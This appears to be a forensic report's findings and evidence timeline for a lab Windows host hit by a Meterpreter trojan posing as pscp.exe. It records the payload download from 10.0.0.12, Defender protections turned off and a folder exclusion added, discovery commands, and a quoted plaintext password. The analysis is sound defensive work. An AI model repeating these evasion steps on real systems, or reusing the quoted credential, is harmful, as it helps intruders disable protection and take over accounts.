2023-11-10 11:12:23	discovery	Discovery via cmd 5848: netstat -ntb, whoami /user (11:13:25), net user administrator (11:13:35)	Sysmon 1 children of cmd.exe GUID {e6e9f951-0f52-654e-ad01-000000000500} (child of injected explorer 7324); corroborated by Prefetch NETSTAT/WHOAMI/NET/NET1 run count 1.	T1049 T1033 T1087.001	evtxecmd/evtxecmd_0.csv#18688 evtxecmd/evtxecmd_0.csv#18694 evtxecmd/evtxecmd_0.csv#18695 pecmd/prefetch_0.csv#83 pecmd/prefetch_0.csv#217
2023-11-10 11:13:35	discovery	net1.exe enumerates local Administrator account (Security 4798)	4798 target Administrator (RID 500), SubjectLogonId 0x15347, caller C:\Windows\System32\net1.exe PID 0x480 – corroborates 'net user administrator' from Meterpreter cmd 5848.	T1087.001	evtxecmd/evtxecmd_0.csv#27065 evtxecmd/evtxecmd_0.csv#18696
2023-11-10 11:13:56	credential exposure	Plaintext credential file Desktop\not_my_pass.txt saved by user Notepad (PID 932) during active Meterpreter session	Notepad 932 (parent user explorer 2432, LogonId 0x153A9) Save As not_my_pass.txt (38 B, content 'user: medmondson pass: password123!@#' per SIDR). OpenSavePidlMRU/LastVisited/RecentDocs/LNK/JumpList at 11:13:56. $SI LastAccess 11:15:54 (unattributed).	T1552.001	recmd_kroll/20261019151050/recmd_kroll_C_OpenSavePidlMRU.csv#2 mftecmd_mft/mft.csv#112639 sidr/DESKTOP-KJ81A5A_File_Report_20261019_151100.037119200.csv#1215
2023-11-10 11:16:03	execution	Last observed activity of the injected explorer.exe 7324 (CLR usage log write)	Sysmon 11 row 19241: explorer.exe PID 7324 GUID {e6e9f951-0ded-654e-9001-000000000500} writes C:\Users\medmondson\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log (CLR loaded inside the injected process, consistent with the Meterpreter PowerShell/.NET extension). SRUM AppTimeline: pscp.exe interval ending 11:17:00, duration ~120 s. No Sysmon 5 termination is logged for 2196/7324 (config). Last attacker-attributable event in the dataset; after this only analyst activity (KAPE/tools from 11:21 UTC).	T1055 T1059.001	evtxecmd/evtxecmd_0.csv#19241 srumecmd/20261019151050_SrumECmd_AppTimelineProvider_Output.csv#949

Detailed evidence timeline

All the evidence cited by the findings and the timeline, sorted by time.

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
	raw.reg_networkadapters	{"Timestamp": "2023-11-09 18:58:23.3861757", "BatchKeyPath": "ROOT\\ControlSet001\\Control\\Class\\{4d36e972-e325-11ce-bfc1-08002be10318}\\0001", "DriverDesc": "Intel(R) 82574L Gigabit Network Connection", "BatchValueName": "Multiple", "DriverDate": "6-12-2018", "DriverVersion": "12.17.10.8", "ProviderName": "Microsoft", "DeviceInstanceid": "PCI\\VEN_8086&DEV_10D3&SUBSYS_07D015AD&REV_00\\000C29FFF	recmd_kroll/20261019151050/recmd_kroll_C_NetworkAdapters.csv#2		F-001
2019-03-19 04:49:40.979782	$MFT	$SI creation (B) ; $SI modification (M) C:\Windows\System32\drivers\etc\hosts size=824 [SI<FN: possible timestomping]	mftecmd_mft/mft.csv#54482	C:\$MFT	F-010
2022-07-19 23:09:06	$MFT	$SI modification (M) C:\Users\medmondson\Desktop\Tools\Forensic_Program_Files\SysinternalsSuite\PsExec.exe size=440216 [zero µs]	mftecmd_mft/mft.csv#137433	C:\$MFT	F-013
2023-11-09 11:02:41.058742	Event logs (EVTX)	EVTX event System 1 | Microsoft-Windows-Kernel-General | The system time was changed | OldTime: 2023-11-09 19:00:30.0951550 | NewTime: 2023-11-09 11:02:41.0583308 | Reason: An application or system component changed the time.	evtxecmd/evtxecmd_0.csv#27708	C:\Windows\system32\winevt\logs\System.evtx	F-018
2023-11-09 11:02:41.058859	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2023-11-09 19:00:30.0951550 | NewTime: 2023-11-09 11:02:41.0583308 |	evtxecmd/evtxecmd_0.csv#25172	C:\Windows\system32\winevt\logs\Security.evtx	F-018

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		LogonId: 0x3E5 | C:\Windows\System32\svchost.exe			
2023-11-09 11:02:46.526328	Registry: accounts (SAM)	Account created Administrator RID=500 logons=0 groups=Administrators [disabled]	recmd_kroll/20261019151050/ recmd_kroll_C_UserAccounts.csv#1		F-011, F-012
2023-11-09 11:08:58.466478	Registry: accounts (SAM)	Account created medmondson RID=1001 logons=7 groups=Administrators	recmd_kroll/20261019151050/ recmd_kroll_C_UserAccounts.csv#5		F-001, F-011
2023-11-09 11:08:58.475556	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-KJ81A5A\medmondson (S-1-5-21-1841083384-974204330-411256071-1001)	evtxecmd/evtxecmd_0.csv#25457	C:\Windows\system32\winevt\logs\ Security.evtx	F-011
2023-11-09 11:08:58.563802	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x3E7 | MemberName: - | MemberSid: S-1-5-21-1841083384-974204330-411256071-1001 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#25467	C:\Windows\system32\winevt\logs\ Security.evtx	F-011
2023-11-09 11:09:53.533599	Event logs (EVTX)	EVTX event Microsoft-Windows-TerminalServices-LocalSessionManager/Operational 21 | Microsoft-Windows-TerminalServices-LocalSessionManager | Remote Desktop Services: Session logon succeeded | Session ID: 2 | LOCAL	evtxecmd/evtxecmd_0.csv#23406	C:\Windows\system32\winevt\logs\ Microsoft-Windows-TerminalServices-LocalSessionManager %4Operational.evtx	F-011
2023-11-09 11:22:18.737962	Event logs (EVTX)	EVTX event C:\Windows\System32\RuntimeBroker.exe (WIN-ELL0II3NDSJ) System 1074 | User32 | A user initiated a system restart | Hostname: DESKTOP-KJ81A5A | Reason: Other (Unplanned) | Type: power off | Code: 0x0 | C:\Windows\System32\ RuntimeBroker.exe (WIN-ELL0II3NDSJ)	evtxecmd/evtxecmd_0.csv#27759	C:\Windows\system32\winevt\logs\ System.evtx	F-001
2023-11-09 18:58:05.585121	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | TimeZoneKeyName=Pacific Standard Time | Pacific Standard Time	recmd_kroll/recmd_kroll_C.csv#2164	C:\Windows\system32\config\SYSTEM	F-001
2023-11-09 18:58:05.585121	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | ActiveTimeBias=480 | 480	recmd_kroll/recmd_kroll_C.csv#2165	C:\Windows\system32\config\SYSTEM	F-001
2023-11-09 18:58:21.136176	Event logs (EVTX)	EVTX event System 6009 | EventLog	evtxecmd/evtxecmd_0.csv#27546	C:\Windows\system32\winevt\logs\ System.evtx	F-001
2023-11-09 19:00:17.220160	Registry (RECmd, complementary batch)	Registry: key last written ROOT\ControlSet001\Control\Session Manager Persistence | Session Manager BootExecute | BootExecute=autocheck autochk *	recmd_complement/ recmd_complement_C.csv#34	C:\Windows\system32\config\SYSTEM	F-010
2023-11-09 19:00:23.673334	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\ComputerName\ComputerName System Info | System Info (Current) | ComputerName=DESKTOP-KJ81A5A	recmd_kroll/recmd_kroll_C.csv#2177	C:\Windows\system32\config\SYSTEM	F-001
2023-11-09 19:00:23.823486	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-KJ81A5A\defaultuser0 (S-1-5-21-1841083384-974204330-411256071-1000)	evtxecmd/evtxecmd_0.csv#25105	C:\Windows\system32\winevt\logs\ Security.evtx	F-011
2023-11-09 19:00:26.938000	Registry: known networks	Network: first connected [local time converted to UTC, ActiveTimeBias=480 min] Network Wired passerelle=88-9E-68-2C-5B-05 DNS=hsd1.md.comcast.net	recmd_kroll/20261019151050/ recmd_kroll_C_KnownNetworks.csv#1		F-001
2023-11-10 10:15:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=68056 sent=3284 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#61	C:\Windows\system32\SRU\SRUDB.dat	F-013, F-019
2023-11-10 10:15:13.719781	Event logs (EVTX)	EVTX event Security 1100 | Microsoft-Windows-Eventlog | The event logging service has shut down	evtxecmd/evtxecmd_0.csv#25930	C:\Windows\system32\winevt\logs\ Security.evtx	F-018
2023-11-10 10:15:26.178698	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Payloads Windows Explorer Windows 8.1 interactions=2 machine=desktop-kj81a5a	jlecmd/ 20261019151058_AutomaticDestinations.csv#26	C:\users\medmondson\Appdata\ Roaming\Microsoft\Windows\Recent\ AutomaticDestinations\ f01b4d95cf55d32a.automaticDestinations-ms	F-014
2023-11-10 10:16:36.111277	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/ browser=iexplore | visit_count=2	dissect/browser.history.jsonl#69	C:\Users\medmondson\AppData\Local\ Microsoft\Windows\WebCache\ WebCacheV01.dat	F-016, I-015, T-015
2023-11-10 10:16:38.642518	$MFT	$SI creation (B) ; $SI modification (M) ; $SI MFT change (C) ; $FN access (A) C:\Users\medmondson\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\	mftecmd_mft/mft.csv#114957	C:\$MFT	F-003, F-009

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		AC\#!001\MicrosoftEdge\Cache\A6816M2V\pscp[1].exe size=986624			
2023-11-10 10:16:43.841943	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\System32\browser_broker.exe | Detection ID: {9D42DBC	evtxecmd/evtxecmd_0.csv#23714	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003, F-016
2023-11-10 10:16:44.708000	Detection Hayabusa	critical Defender Alert (Severe) | {"Threat":"Trojan:Win64/Meterpreter.E","Severity":"Severe","Type":"Trojan","User":"DESKTOP-KJ81A5A\\medmondson","Path":"file:_C:\\Users\\medmondson\\Downloads\\pscp.exe; webfile:_C:\\Users\\medmondson\\Downloads\\pscp.exe|http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643","Proc":"C:\\Windows\\System32\\ browser_broker.exe"} | {"Action ID":9,"Action Na	hayabusa/hayabusa_0.jsonl#5892	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003
2023-11-10 10:16:44.708098	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\ Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\System32\browser_broker.exe | Detection ID: {9D42DBC	evtxecmd/evtxecmd_0.csv#23715	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003, I-003, I-004, T-001
2023-11-10 10:16:44.768538	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe FileDelete|Close [Archive] entry=85540-1	mftecmd_usnjrnl/usnjrnl.csv#85220	C:\$Extend\$J	F-014
2023-11-10 10:16:52.220594	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\ Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1117 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform performed an action to protect your system from malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\System32\brow	evtxecmd/evtxecmd_0.csv#23716	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003
2023-11-10 10:17:40.345882	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0	evtxecmd/evtxecmd_0.csv#23717	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004
2023-11-10 10:17:41.861519	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x0	evtxecmd/evtxecmd_0.csv#23718	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004
2023-11-10 10:17:43.064472	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x0	evtxecmd/evtxecmd_0.csv#23719	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004
2023-11-10 10:17:54.028923	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\ Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe| pid:8364,ProcessStart:133440850738826349 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows	evtxecmd/evtxecmd_0.csv#23722	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:17:53.875Z | Process (if real-time detection): C:\Windows\System32\browser_broker.exe | Detection ID: {95B244E			
2023-11-10 10:18:44	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Payloads machine=desktop-kj81a5a MAC=00:0c:29:27:f7:8f volume=026F16D0 Fixed storage media (Hard drive) size=0	lecmd/lnk_C.csv#13	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\Payloads.lnk	F-014
2023-11-10 10:18:46	ShellBags	Folder: created (recorded) ; Folder: modified (recorded) ; Folder: accessed (recorded) Desktop\This PC\C:\Payloads Directory Payloads MFT=80945 [explored]	sbecmd/medmondson_UsrClass.csv#15		F-014
2023-11-10 10:18:48.738766	Browser (history, Dissect)	history: ts file:///C:/Payloads browser=iexplore | visit_count=1	dissect/browser.history.jsonl#31	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	F-016
2023-11-10 10:19:24.979452	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Payloads\ = 0x0	evtxecmd/evtxecmd_0.csv#23724	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004, F-017, I-016, T-002
2023-11-10 10:19:36.431470	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe|pid:4140,ProcessStart:133440851762938641 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:19:36.274Z | Process (if real-time detection): C:\Windows\System32\browser_broker.exe | Detection ID: {1A821EE	evtxecmd/evtxecmd_0.csv#23726	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003
2023-11-10 10:19:36.493383	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe FileDelete|Close [Archive] entry=85732-5	mftecmd_usnjrnl/usnjrnl.csv#87189	C:\$Extend\$J	F-014
2023-11-10 10:19:41.471520	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe|http://10.0.0.12:8080/pscp.exe|pid:4140,ProcessStart:133440851762938641 Microsoft-Windows-Windows Defender/Operational 1117 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform performed an action to protect your system from malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:19:36.274Z | Process (if real-time detection): C:\Windows\System32\brow	evtxecmd/evtxecmd_0.csv#23727	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-003
2023-11-10 10:19:46.897377	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | %%827	evtxecmd/evtxecmd_0.csv#23728	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx	F-004, T-002
2023-11-10 10:19:49.380413	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/pscp.exe browser=iexplore | visit_count=4	dissect/browser.history.jsonl#68	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	F-016, T-015
2023-11-10 10:19:49.380413	Browser (history, Dissect)	history: ts http://10.0.0.12:8080/pscp.exe browser=iexplore | visit_count=8	dissect/browser.history.jsonl#84	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	F-016
2023-11-10 10:19:53	ShimCache (AppCompatCache)	ShimCache: file modification date (not proof of execution) C:\Payloads\pscp.exe position=27 Executed=No ControlSet=1	appcompatcache/shimcache.csv#28	C:\Windows\system32\config\SYSTEM	F-008
2023-11-10 10:19:53	ShimCache (AppCompatCache)	ShimCache: file modification date (not proof of execution) C:\Users\medmondson\Downloads\pscp.exe position=29 Executed=No ControlSet=1	appcompatcache/shimcache.csv#30	C:\Windows\system32\config\SYSTEM	F-008
2023-11-10 10:19:53.835711	$MFT	$SI creation (B) C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe	mftecmd_mft/mft.csv#115196	C:\$MFT	F-014, I-013

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		size=986624			
2023-11-10 10:19:53.835711	$MFT	$SI creation (B) C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/mft.csv#115197	C:\$MFT	F-014, F-016
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe size=986624	mftecmd_mft/mft.csv#115203	C:\$MFT	F-003, F-008, F-018, I-006
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/mft.csv#115204	C:\$MFT	F-003, F-008, F-014, F-016, I-004, I-015, T-015
2023-11-10 10:19:53.851269	$UsnJrnl:$J	USN $J C:\Users\medmondson\Downloads\pscp.exe RenameNewName [Archive] entry=85774-1	mftecmd_usnjrnl/usnjrnl.csv#87237	C:\$Extend\$J	F-014
2023-11-10 10:19:53.882523	Browser (downloads, Dissect)	download: ts_end C:\Users\medmondson\Downloads\pscp.exe url=http://10.0.0.12:8080/pscp.exe | browser=iexplore	dissect/browser.downloads.jsonl#6	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	F-016, T-015
2023-11-10 10:19:53.882523	Internet Explorer / WebCache (downloads)	download: ts_end C:\Users\medmondson\Downloads\pscp.exe url=http://10.0.0.12:8080/pscp.exe	dissect/iexplore.downloads.jsonl#3	C:\Users\medmondson\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	F-016
2023-11-10 10:20:10.116914	$UsnJrnl:$J	USN $J C:\Payloads\pscp.exe FileCreate [Archive] entry=85781-1	mftecmd_usnjrnl/usnjrnl.csv#87279	C:\$Extend\$J	F-014, T-013
2023-11-10 10:20:20	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Users\medmondson\Downloads\pscp.exe size=986624 $I	rbcmd/recyclebin_0.csv#1	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IHOVDEL.exe	F-014, I-013, T-013
2023-11-10 10:20:20.820023	$UsnJrnl:$J	USN $J C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$RHOVDEL.exe RenameNewName [Archive] entry=85774-1	mftecmd_usnjrnl/usnjrnl.csv#87301	C:\$Extend\$J	F-014, T-013
2023-11-10 10:21:41.003421	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Payloads\test.exe size=986624	mftecmd_mft/mft.csv#109630	C:\$MFT	F-009, F-018, I-006, I-007, T-008
2023-11-10 10:25:51.789054	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Firewall With Advanced Security/Firewall 2004 | Microsoft-Windows-Windows Firewall With Advanced Security | A rule has been added to the Windows Defender Firewall exception list | : Firefox (C:\Program Files\Mozilla Firefox) | C:\Program Files\Mozilla Firefox\firefox.exe | Direction: Inbound | Action: Allow | Protocol: TCP | *: *	evtxecmd/evtxecmd_0.csv#24271	C:\Windows\system32\winevt\logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx	F-019
2023-11-10 10:28:22	Recycle Bin ($I)	Deletion (moved to Recycle Bin) C:\Users\medmondson\Desktop\sysmon-config.xml size=0 $I	rbcmd/recyclebin_0.csv#3	C:\$Recycle.Bin\S-1-5-21-1841083384-974204330-411256071-1001\$IY8CUX9.xml	F-018
2023-11-10 10:41:53.368481	Registry: ProfileList	Profile: last logoff C:\Users\medmondson S-1-5-21-1841083384-974204330-411256071-1001	recmd_kroll/20261019151050/recmd_kroll_C_ProfileList.csv#4		F-001
2023-11-10 10:41:53.837229	Event logs (EVTX)	EVTX event Security 1100 | Microsoft-Windows-Eventlog | The event logging service has shut down	evtxecmd/evtxecmd_0.csv#26729	C:\Windows\system32\winevt\logs\Security.evtx	F-018
2023-11-10 10:42:05.178200	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\medmondson\Desktop\not_my_pass.txt Notepad 64-bit interactions=1 machine=desktop-kj81a5a	jlecmd/20261019151058_AutomaticDestinations.csv#7	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\9b9cdc69c1c24e2b.automaticDestinations-ms	F-015
2023-11-10 10:42:05.178200	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\medmondson\Desktop\not_my_pass.txt Quick Access interactions=1 machine=desktop-kj81a5a	jlecmd/20261019151058_AutomaticDestinations.csv#2	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms	F-015

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2023-11-10 10:42:09.344932	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\Terminal Server Threat Hunting | RDP Connections Status | fDenyTSConnections=1	recmd_kroll/recmd_kroll_C.csv#7137	C:\Windows\system32\config\SYSTEM	F-013
2023-11-10 10:42:10.277482	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x15347 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/evtxecmd_0.csv#26783	C:\Windows\system32\winevt\logs\Security.evtx	F-011, F-012, I-011, T-011
2023-11-10 10:42:10.277511	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x153A9 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/evtxecmd_0.csv#26784	C:\Windows\system32\winevt\logs\Security.evtx	F-011, T-011
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | ProductName=Windows 10 Pro	recmd_kroll/recmd_kroll_C.csv#25	C:\Windows\system32\config\SOFTWARE	F-001
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | InstallDate=2023-11-09 11:02:48.0000000	recmd_kroll/recmd_kroll_C.csv#26	C:\Windows\system32\config\SOFTWARE	F-001
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | CurrentBuild=18362	recmd_kroll/recmd_kroll_C.csv#31	C:\Windows\system32\config\SOFTWARE	F-001
2023-11-10 10:42:23.563477	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: DESKTOP-KJ81A5A\medmondson | LogonType 2 | LogonId: 0x57147 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-KJ81A5A (127.0.0.1)	evtxecmd/evtxecmd_0.csv#26863	C:\Windows\system32\winevt\logs\Security.evtx	F-011
2023-11-10 10:45:39.658338	Registry: SCSI	Disk: installed ; Disk: first installed Ven_Samsung Prod_PSSD_T7 serial=000000 Samsung PSSD T7 SCSI Disk Device	recmd_kroll/20261019151050/recmd_kroll_C_SCSI.csv#2		F-001
2023-11-10 10:45:49.033342	Registry: VolumeInfoCache	Volume seen (VolumeInfoCache) DriveName=E: | VolumeLabel=SSD | DriveType=Fixed	recmd_kroll/20261019151050/recmd_kroll_C_VolumeInfoCache.csv#2		F-001
2023-11-10 10:51:10.748733	Event logs (EVTX)	EVTX event C:\Windows\Sysmon64.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: Sysmon64 | StartType: auto start | Account: LocalSystem | C:\Windows\Sysmon64.exe	evtxecmd/evtxecmd_0.csv#27966	C:\Windows\system32\winevt\logs\System.evtx	F-010
2023-11-10 10:51:10.762839	Event logs (EVTX)	EVTX event C:\Users\medmondson\Desktop\Tools\sysmon-config.xml Microsoft-Windows-Sysmon/Operational 16 | Microsoft-Windows-Sysmon | ServiceConfigurationChange | ConfigurationFileHash: SHA256=E771CA7BD01FDB1BA7014BEB86D74AC9B30D7080AE79B1B8D55419E46C525D24 | C:\Users\medmondson\Desktop\Tools\sysmon-config.xml	evtxecmd/evtxecmd_0.csv#18346	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-001, F-002, T-017
2023-11-10 10:51:11.004937	Event logs (EVTX)	EVTX event Microsoft-Windows-WMI-Activity/Operational 5861 | Microsoft-Windows-WMI-Activity | WMI Registration of Permanent Event Consumer | Ess: SCM Event Log Filter | Binding EventFilter: , instance of __EventFilter, {, CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};, EventNamespace = "root\\cimv2";, Name = "SCM Event Log Filter";, Query = "select * from MSFT_SCMEventLogEvent";, QueryLangu	evtxecmd/evtxecmd_0.csv#24734	C:\Windows\system32\winevt\logs\Microsoft-Windows-WMI-Activity%4Operational.evtx	F-010
2023-11-10 10:51:11.035506	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 4 | Microsoft-Windows-Sysmon | Sysmon service state changed | Sysmon Version 15.1 | Status: Started | Timestamp: 2023-11-10 10:51:11.027	evtxecmd/evtxecmd_0.csv#18347	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-001, F-002, T-017
